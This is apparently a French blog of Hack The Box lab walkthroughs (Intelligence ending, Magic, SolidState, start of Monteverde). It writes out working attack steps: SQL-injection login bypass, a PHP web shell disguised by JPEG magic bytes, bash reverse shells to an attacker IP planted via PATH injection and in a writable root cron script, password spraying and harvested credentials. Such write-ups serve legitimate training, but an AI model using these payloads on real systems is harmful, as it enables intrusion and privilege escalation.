$ export KRB5CCNAME="admin.ccache"

$ psexec.py -k -no-pass intelligence.htb/Administrator@dc.intelligence.htb

Impacket v0.13.0.dev0+20250107.155526.3d734075 - Copyright Fortra, LLC and its affiliated companies

[*] Requesting shares on dc.intelligence.htb.....
[*] Found writable share ADMIN$
[*] Uploading file RKiuvsgB.exe
[*] Opening SVCManager on dc.intelligence.htb.....
[*] Creating service MGRO on dc.intelligence.htb.....
[*] Starting service MGRO.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.1879]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
8fa6.....9f53

Tips

Parfois bloodhound n’affiche pas toutes les informations. Par exemple, je ne voyais pas la route de Ted vers svc_int.

En effet, j’ai l’habitude de cliquer sur Outbound Object Control-> Transitive Object Control.

Mais il fallait faire :

Outbound Object Control -> Group Delegated Object Control

Attention donc à bien regarder toutes les possibilités de Outbound Object Control sur un utilisateur owned.

Allowed To Delegate : WWW/dc.intelligence.htb Il faut regarder chaque parametre de l’utilisateur sur bloodhound. J’aurais dû reperer cela. Tout ne saute pas forcement aux yeux.
psexec.py -k -no-pass intelligence.htb/Administrator@dc.intelligence.htb Pour psexec, attention ici j’ai du préciciser Administrator@dc.intelligence.htb au lieu de l’ip que j’avais mis initialement : Administrator@10.10.10.248. Il faut bien sûr que **dc.intelligence.htb **soit bien dans le /etc/hosts.

HTB | Magic

Thu, 24 Jul 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Magic	Linux	10.10.10.185	Medium

Users

1
2
3
4


## mysql
theseus : `iamkingtheseus`

admin : `Th3s3usW4sK1ng`

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


$ nmap -sC -sV -An -T4 -vvv -p- 10.10.10.185
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 06d489bf51f7fc0cf9085e9763648dca (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClcZO7AyXva0myXqRYz5xgxJ8ljSW1c6xX0vzHxP/Qy024qtSuDeQIRZGYsIR+kyje39aNw6HHxdz50XSBSEcauPLDWbIYLUMM+a0smh7/pRjfA+vqHxEp7e5l9H7Nbb1dzQesANxa1glKsEmKi1N8Yg0QHX0/FciFt1rdES9Y4b3I3gse2mSAfdNWn4ApnGnpy1tUbanZYdRtpvufqPWjzxUkFEnFIPrslKZoiQ+MLnp77DXfIm3PGjdhui0PBlkebTGbgo4+U44fniEweNJSkiaZW/CuKte0j/buSlBlnagzDl0meeT8EpBOPjk+F0v6Yr7heTuAZn75pO3l5RHX
| 256 11a69298ce3540c729094f6c2d74aa66 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOVyH7ButfnaTRJb0CdXzeCYFPEmm6nkSUd4d52dW6XybW9XjBanHE/FM4kZ7bJKFEOaLzF1lDizNQgiffGWWLQ=
| 256 7105991fa81b14d6038553f8788ecb88 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE0dM4nfekm9dJWdTux9TqCyCGtW5rbmHfh/4v3NtTU1
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Magic Portfolio
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)

Foothold

On trouve un site internet sur le port 80 avec une page de login. Le site nous indique la possibilité d’upload des images. Après avoir testé plusieurs combinaisons de credentials (ex: admin/admin, root/root…), on trouve une injection SQL qui nous permet de nous connecter

1
2


user: aaaa' or 1=1;--
password: aaaa' or 1=1;--

En utilisant cela comme user et password, on obtient un accès à la page upload.php.

Upload image : Exploit Magic Byte

On peut uploader des images avec du code php à l’intérieur. Pour que le code php soit executé et que le fichier soit uploadé, il a fallu :

Changer le magic byte par celui d’une image XXX :
Modifier l’extension en “.php.jpg” (ou “.php.png”)

En une seule ligne de code, cela nous donne :

1

echo -ne '\xFF\xD8\xFF\xE0<?php system($_GET["cmd"]); ?>' > shell_magic.php.jpg

On peut alors executer du code php sur la machine en utilisant le paramètre cmd :

http://10.10.10.185/images/uploads/shell_magic.php.jpg?cmd=id

Pourquoi cela fonctionne ?

Le serveur vérifie l’extension du fichier. Ici, la dernière extension est bien “.jpg”, notre fichier passe le 1er test.
Ensuite, le serveur vérifie le magic byte, il s’agit de plusieurs octets ecrit au début du fichier précisant le type : JPG, GIF, PHP. Il suffit donc de placer le magic byte d’une image PNG ou JPG pour passer cette deuxième couche de protection.

Pourquoi le code php est executé ? Apache traite toutes les extensions dans un nom de fichier et s’arrête à la première extension qu’il reconnaît comme “exécutable” (comme .php), même si elle n’est pas la dernière. D’où l’importance d’écrire “.php.jpg”. Si on place seulement “.jpg”, le serveur apache interpretera le fichier comme une image et le code ne sera pas executé.

En utilisant le reverse shell php “pentest monkey”, on obtient facilement un shell sur la machine :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


nc -lnvp 9001
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.10.185.
Ncat: Connection from 10.10.10.185:51964.
Linux magic 5.3.0-42-generic #34~18.04.1-Ubuntu SMP Fri Feb 28 13:42:26 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 06:41:39 up 19:17, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (1197): Inappropriate ioctl for device
bash: no job control in this shell
www-data@magic:/$ export TERM=xterm
export TERM=xterm
www-data@magic:/$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@magic:/$ ^Z
[1] + 9828 suspended nc -lnvp 9001
$ stty raw -echo;fg
[1] + 9828 continued nc -lnvp 9001

www-data@magic:/$ whoami
www-data

mysql creds : db.php5

On trouve un fichier de base de donnée avec db.php5

1
2
3
4
5
6
7
8
9


www-data@magic:/var/www/Magic$ cat db.php5
<?php
class Database
{
 private static $dbName = 'Magic' ;
 private static $dbHost = 'localhost' ;
 private static $dbUsername = 'theseus';
 private static $dbUserPassword = 'iamkingtheseus';
...

Mysql connection (chisel port forwarding) : admin creds

On remarque que le port mysql est bien ouvert (3306), cependant, l’outil mysql n’est pas installé et on ne peut pas se connecter à la base de donnée :

1
2
3
4
5
6
7
8


www-data@magic:/var/www/Magic$ ss -lntp
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
...
www-data@magic:/var/www/Magic$ mysql

Command 'mysql' not found, but can be installed with:
...

Pour contourner cela, j’ai décidé d’utiliser chisel pour faire du port forwarding. Le but étant d’accéder au port 3306 du serveur depuis ma machine hôte. Pour faire cela, il suffit de telecharger le binaire chisel sur la page github. Voici les commandes à effectuer:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


www-data@magic:/var/www/Magic$ wget http://10.10.16.2/chisel
--2025-07-24 07:00:58-- http://10.10.16.2/chisel
Connecting to 10.10.16.2:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9371800 (8.9M) [application/octet-stream]
Saving to: 'chisel'

chisel 100%[===================>] 8.94M 336KB/s in 26s

2025-07-24 07:01:25 (351 KB/s) - 'chisel' saved [9371800/9371800]

3306data@magic:/var/www/Magic$ ./chisel client 10.10.16.2:1082 R:3306:localhost:3306 > /dev/null 2> /dev/null &
[1] 5146
....

-----------------------

$ ./chisel server -p 1082 --reverse
2025/07/24 16:02:12 server: Reverse tunnelling enabled
2025/07/24 16:02:12 server: Fingerprint 4PDYwTjgAniyianMIlBvt3QRTZm4VpYL+kFf1nXfQPg=
2025/07/24 16:02:12 server: Listening on http://0.0.0.0:1082
2025/07/24 16:03:19 server: session#1: tun: proxy#R:3306=>localhost:3306: Listening

Depuis ma machine hôte, j’utilise la commande mysql pour me connecter a mon port local 3306 qui est forward vers le port 3306 du serveur. On trouve alors une database “Magic” et une table “login” contenant les credentials suivants: admin : Th3s3usW4sK1ng

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39


$ mysql -h 127.0.0.1 -P 3306 -u theseus -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 25
Server version: 5.7.29-0ubuntu0.18.04.1 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| Magic |
+--------------------+
2 rows in set (0.145 sec)

MySQL [(none)]> use Magic;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [Magic]> show tables;
+-----------------+
| Tables_in_Magic |
+-----------------+
| login |
+-----------------+
1 row in set (0.136 sec)

MySQL [Magic]> select * from login;
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | admin | Th3s3usW4sK1ng |
+----+----------+----------------+
1 row in set (0.106 sec)

theseus user : su

On se connecte en tant que theseus avec le mot de passe trouvé précédemment. Cependant, ssh ne fonctionne qu’avec une paire de clé publique.

1
2
3
4


www-data@magic:/var/www/Magic$ su theseus
Password: <---- Th3s3usW4sK1ng
theseus@magic:/var/www/Magic$ cat /home/theseus/user.txt
6553.....4c7a

SSH : theseus

Pour obtenir un shell plus stable, j’ai généré une paire de clé RSA et j’ai ajouté la clé publique dans le fichier authorized_keys. Ensuite il suffit de copier le clé privé et de la mettre sur ma machine hôte, puis d’effectuer une connexion ssh :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


theseus@magic:~$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/theseus/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/theseus/.ssh/id_rsa.
Your public key has been saved in /home/theseus/.ssh/id_rsa.pub.
...
theseus@magic:~$ cd .ssh
theseus@magic:~/.ssh$ cat id_rsa.pub > authorized_keys
theseus@magic:~/.ssh$ cat id_rsa
...
## [Ctrl-C, Ctrl-V] --> copie de la clé privée sur la machine hôte

-------------------------

$ vim theseus.key
...
$ chmod 600 theseus.key
$ ssh theseus@10.10.10.185 -i theseus.key
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 5.3.0-42-generic x86_64)
...
theseus@magic:~$ whoami
theseus

Privilege Escalation

SUID binary : /bin/sysinfo

On découvre que le binaire “/bin/sysinfo” a le bit SUID activé, grâce à l’énumeration avec linpeas.

1
2
3
4
5
6
7


theseus@magic:~$ cat linpeas.out | grep -i SUID

╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid
...
-rwsr-x--- 1 root users 22K Oct 21 2019 /bin/sysinfo (Unknown SUID binary!)
...

fdisk execution in /bin/sysinfo

Pour faire une attaque “PATH injection” sur le binaire SUID, j’ai pu utiliser strace, ltrace ou encore strings:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


theseus@magic:~/bin$ strings /bin/sysinfo | less
/lib64/ld-linux-x86-64.so.2
libstdc++.so.6
__gmon_start__
_ITM_deregisterTMCloneTable
...
...
====================Hardware Info====================
lshw -short
====================Disk Info====================
fdisk -l
====================CPU Info====================
cat /proc/cpuinfo
====================MEM Usage=====================
...

On observe l’execution de lshw, fdisk ou encore cat, sans le path absolu. Ex: /bin/cat. On peut donc faire une PATH injection. J’ai choisi de le faire avec fdisk.

Creating fake “fdisk” binary with reverse shell

On crée un faux binaire fdisk dans le dossier bin/ qu’on ajoute ensuite au PATH :

1
2
3
4
5


theseus@magic:~$ mkdir bin;cd bin
theseus@magic:~/bin$ nano fdisk
##!/bin/bash
bash -i >& /dev/tcp/10.10.16.2/1337 0>&1
theseus@magic:~/bin$ export PATH="/home/theseus/bin:$PATH"

Root shell using PATH injection

On execute ensuite le binaire /bin/sysinfo, qui va executer la commande fdisk en tant que root. Comme mon dossier bin contient aussi un binaire fdisk, ET qu’il est en en premier dans la liste des dossiers du PATH, alors le programme va décider de l’executer à la place du véritable binaire :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


theseus@magic:~/bin$ /bin/sysinfo
====================Hardware Info====================
H/W path Device Class Description
====================================================
 system VMware Virtual Platform
/0 bus 440BX Desktop Reference Platform
/0/0 memory 86KiB BIOS
/0/1 processor AMD EPYC 7763 64-Core Processor
/0/1/0 memory 16KiB L1 cache
/0/1/1 memory 16KiB L1 cache
/0/1/2 memory 512KiB L2 cache
/0/1/3 memory 512KiB L2 cache
...

====================Disk Info====================

------------------------------

$ nc -lnvp 1337
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.10.10.185.
Ncat: Connection from 10.10.10.185:48804.
root@magic:~/bin# whoami
root
root@magic:~# cd /root
root@magic:/root# cat root.txt
c21a.....fa6b

HTB | SolidState

Tue, 22 Jul 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
SolidState	Linux	10.10.10.51	Medium

Users

1

mindy : P@55W0rd1!2@

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


$ nmap -sC -sV -An -T4 -vvv -p- 10.10.10.51
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey:
| 2048 770084f578b9c7d354cf712e0d526d8b (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCp5WdwlckuF4slNUO29xOk/Yl/cnXT/p6qwezI0ye+4iRSyor8lhyAEku/yz8KJXtA+ALhL7HwYbD3hDUxDkFw90V1Omdedbk7SxUVBPK2CiDpvXq1+r5fVw26WpTCdawGKkaOMYoSWvliBsbwMLJEUwVbZ/GZ1SUEswpYkyZeiSC1qk72L6CiZ9/5za4MTZw8Cq0akT7G+mX7Qgc+5eOEGcqZt3cBtWzKjHyOZJAEUtwXAHly29KtrPUddXEIF0qJUxKXArEDvsp7OkuQ0fktXXkZuyN/GRFeu3im7uQVuDgiXFKbEfmoQAsvLrR8YiKFUG6QBdI9awwmTkLFbS1Z
| 256 78b83af660190691f553921d3f48ed53 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBISyhm1hXZNQl3cslogs5LKqgWEozfjs3S3aPy4k3riFb6UYu6Q1QsxIEOGBSPAWEkevVz1msTrRRyvHPiUQ+eE=
| 256 e445e9ed074d7369435a12709dc4af76 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMKbFbK3MJqjMh9oEw/2OVe0isA7e3ruHz5fhUP4cVgY
25/tcp open smtp syn-ack ttl 63 JAMES smtpd 2.3.2
|_smtp-commands: solidstate Hello nmap.scanme.org (10.10.14.3 [10.10.14.3])
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.25 ((Debian))
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
110/tcp open pop3 syn-ack ttl 63 JAMES pop3d 2.3.2
119/tcp open nntp syn-ack ttl 63 JAMES nntpd (posting ok)
4555/tcp open rsip? syn-ack ttl 63
| fingerprint-strings:
| GenericLines:
| JAMES Remote Administration Tool 2.3.2
| Please enter your login and password
| Login id:
| Password:
| Login failed for
|_ Login id:

Foothold

JAMES Remote Administration Tool 2.3.2 (port 5557)

On observe un service tournant sur le port 5557, demandant un user/password. En cherchant sur internet, on trouve des credentials par défaut pour cet outil : root / root

On peut alors lister les users, et changer leur mot de passe permettant l’accès à leur boite mail. Ici, on change le mot de passe de l’utilisateur mindy, password : mindy.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48


telnet 10.10.10.51 4555
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
JAMES Remote Administration Tool 2.3.2
Please enter your login and password

Login id:
root

Password:
root
Welcome root. HELP for a list of commands

HELP
Currently implemented commands:
help display this help
listusers display existing accounts
countusers display the number of existing accounts
adduser [username] [password] add a new user
verify [username] verify if specified user exist
deluser [username] delete existing user
setpassword [username] [password] sets a user's password
setalias [user] [alias] locally forwards all email for 'user' to 'alias'
showalias [username] shows a user's current email alias
unsetalias [user] unsets an alias for 'user'
setforwarding [username] [emailaddress] forwards a user's email to another email address
showforwarding [username] shows a user's current email forwarding
unsetforwarding [username] removes a forward
user [repositoryname] change to another user repository
shutdown kills the current JVM (convenient when James is run as a daemon)
quit close connection

listusers
Existing accounts 6
user: james
user: ../../../../../../../../etc/bash_completion.d
user: thomas
user: john
user: mindy
user: mailadmin

setpassword mindy mindy
Password for mindy reset

quit
Bye
Connection closed by foreign host.

POP3 : mindy mails

En utilisant thunderbird on tente d’accéder à ses mails. Une vrai galère… (pas réussi).

Avec telnet, on se connecte au port 110 (POP3) avec l’utilisateur mindy. On trouve 2 emails, que l’on récupère :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72


telnet 10.10.10.51 110
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
USER mindy
PASS mindy
LIST
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
+OK
+OK Welcome mindy
+OK 2 1945
1 1109
2 836
.
RETR 1
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <5420213.0.1503422039826.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
 by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 798
 for <mindy@localhost>;
 Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
From: mailadmin@localhost
Subject: Welcome

Dear Mindy,
Welcome to Solid State Security Cyber team! We are delighted you are joining us as a junior defense analyst. Your role is critical in fulfilling the mission of our orginzation. The enclosed information is designed to serve as an introduction to Cyber Security and provide resources that will help you make a smooth transition into your new role. The Cyber team is here to support your transition so, please know that you can call on any of us to assist you.

We are looking forward to you joining our team and your success at Solid State Security.

Respectfully,
James
.
RETR 2
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <16744123.2.1503422270399.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
 by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
 for <mindy@localhost>;
 Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
From: mailadmin@localhost
Subject: Your Access

Dear Mindy,


Here are your ssh credentials to access the system. Remember to reset your password after your first login.
Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path.

username: mindy
pass: P@55W0rd1!2@

Respectfully,
James

.
EXIT
-ERR
QUIT
+OK Apache James POP3 Server signing off.
Connection closed by foreign host.

Dans le deuxième email, on trouve des credentials en clair: mindy : P@55W0rd1!2@

SSH Connection to mindy account : user flag

On se connecte en ssh à mindy et on récupère le flag utilisateur user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


$ ssh mindy@10.10.10.51
mindy@10.10.10.51's password:
Linux solidstate 4.9.0-3-686-pae #1 SMP Debian 4.9.30-2+deb9u3 (2017-08-06) i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 22 14:00:02 2017 from 192.168.11.142

mindy@solidstate:~$ cat user.txt
c00a.....c6b2

Privilege Escalation

mindy : restricted bash

Par défaut, on arrive dans un restricted shell. Presque aucune action n’est autorisé…

1
2
3
4
5
6


mindy@solidstate:~$ ls
bin user.txt
mindy@solidstate:~$ cd ..
-rbash: cd: restricted
mindy@solidstate:~$ /bin/ls
-rbash: /bin/ls: restricted: cannot specify `/' in command names

Mais grâce à ssh, on peut préciser une commande à executer au lancement. Par exemple, lui demander de lancer un bash, ce qui permet de bypasser le lancement du restricted bash !

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


$ ssh mindy@10.10.10.51 bash
mindy@10.10.10.51's password:
ls
bin
user.txt
cd ..
ls
james
mindy

----------------------

$ ssh mindy@10.10.10.51 -t "bash --noprofile"
mindy@10.10.10.51's password:
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ ls
bin user.txt
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ cd ..
${debian_chroot:+($debian_chroot)}mindy@solidstate:/home$ ls
james mindy
${debian_chroot:+($debian_chroot)}mindy@solidstate:/home$ exit
Connection to 10.10.10.51 closed.

root file : /opt/tmp.py

A l’aide linpeas et/ou linenum, on découvre un fichier /opt/tmp.py qui semble vider le dossier /tmp en utilisant os.system(). Les droits du fichier sont 777 (rwxrwxrwx). Le fichier appartient à root mais est modifiable par n’importe qui, dont mindy. J’ai donc essayer de mettre une commande pour faire un reverse shell. Au vu de ce que fait ce script, on peut déduire qu’il doit etre executé dans une cronjob probablement en tant que root.

Après quelques minutes, je reçois bien un shell en tant que root sur la machine, ce qui prouve notre théorie :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ cat tmp.py
##!/usr/bin/env python
import os
import sys

## Reverse shell
os.system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi44LzkwMDEgMD4mMQ== | base64 -d | bash')

## Code initial du script
try:
 os.system('rm -r /tmp/* ')
except:
 sys.exit()


--------------------------------------------

$ nc -lnvp 9001
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.10.51.
Ncat: Connection from 10.10.10.51:58410.
bash: cannot set terminal process group (31712): Inappropriate ioctl for device
bash: no job control in this shell
root@solidstate:~# whoami
whoami
root
root@solidstate:~# cat /root/root.txt
cat /root/root.txt
0574.....d2b9

Tips

TOUJOURS bien regarder en détail l’execution de linpeas ou de linenum. Parfois, on peut rater des fichiers/binaires, qui ne sont pas habituels. Par exemple ici, on avait /opt/tmp.py qui aurait du me sauter aux yeux. Ces fichiers ne sont pas forcément surlignés en rouge…

HTB | Monteverde

Sun, 20 Jul 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Monteverde	Windows	10.10.10.172	Medium

Users

1
2
3


SABatchJobs:SABatchJobs
mhope:4n0therD4y@n0th3r$
administrator:d0m@in4dminyeah!

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


$ nmap -sC -sV -An -T4 -vvv -p- 10.10.10.172
Starting Nmap 7.93 ( https://nmap.org ) at 2025-07-17 23:38 CEST
...
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-07-17 21:39:43Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 127
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 127
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49673/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49676/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49696/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49750/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host

Foothold

Getting users using nxc

Avec nxc smb et l’utilisateur anonyme on récupère une liste d’utilisateurs.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


$ nxc smb 10.10.10.172 -u '' -p '' --users | tr -s ' ' | cut -d ' ' -f 5 | head -n13 | tail -n 10 | tee users.txt
Guest
AAD_987d7f2f57d2
mhope
SABatchJobs
svc-ata
svc-bexec
svc-netapp
dgalanos
roleary
smorgan

Password Spray

On tente un password spray avec “user == password” et on découvre les identifiants suivants:

SABatchJobs:SABatchJobs

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


$ nxc smb 10.10.10.172 -u users.txt -p users.txt --continue-on-success --no-bruteforce
SMB 10.10.10.172 445 MONTEVERDE [*] Windows 10 / Server 2019 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:False)
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:Guest STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:mhope STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-ata:svc-ata STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-bexec:svc-bexec STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-netapp:svc-netapp STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\dgalanos:dgalanos STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\roleary:roleary STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\smorgan:smorgan STATUS_LOGON_FAILURE

‘user$’ and ‘azure_uploads’ smb shares : READ ACCESS

Avec smbmap on trouve le share ‘user$’ et ‘azure_uploads’ accessibles en lecture :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27


smbmap -H "10.10.10.172" -u SABatchJobs -p SABatchJobs

 ________ ___ ___ _______ ___ ___ __ _______
 /" )|" \ /" || _ "\ |" \ /" | /""\  | __ "\
 (: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
 \___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
 __/ \ |: \. |(| _ \ |: \. | // __' \ (| /
 /" \  :) |. \ /: ||: |_) :)|. \ /: | / / \  \  /|__/ \
 (_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
 https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)

[+] IP: 10.10.10.172:445 Name: MEGABANK.LOCAL Status: Authenticated
 Disk Permissions Comment
 ---- ----------- -------
 ADMIN$ NO ACCESS Remote Admin
 azure_uploads READ ONLY
 C$ NO ACCESS Default share
 E$ NO ACCESS Default share
 IPC$ READ ONLY Remote IPC
 NETLOGON READ ONLY Logon server share
 SYSVOL READ ONLY Logon server share
 users$ READ ONLY

